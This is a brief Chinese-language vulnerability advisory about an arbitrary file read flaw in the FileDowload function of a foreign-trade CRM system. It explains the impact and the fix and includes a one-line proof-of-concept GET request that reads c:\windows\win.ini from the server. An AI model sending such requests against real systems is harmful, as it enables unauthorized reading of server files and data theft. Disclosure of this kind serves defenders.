维达外贸客户关系管理系统FileDowload存在任意文件读取漏洞

日期: 2025-11-04 | 影响软件: 维达外贸客户关系管理系统 | POC: 已公开

漏洞描述

维达外贸客户关系管理系统中的FileDowload功能存在任意文件读取漏洞，攻击者可以利用该漏洞通过构造特定的请求，读取服务器上任意文件的内容。这可能包括敏感的配置文件、用户数据或其他重要信息，进而导致数据泄露和系统安全风险。此漏洞的根本原因在于对用户输入缺乏充分的验证和限制，使得攻击者能够绕过访问控制。为保护系统安全，建议开发团队立即修复该漏洞，通过实施严格的路径验证、访问权限控制以及敏感文件的保护措施，防止未授权的文件访问。

PoC代码

GET /file/FileDowload.jsp?url=c:\\windows\win.ini HTTP/1.1

相关漏洞推荐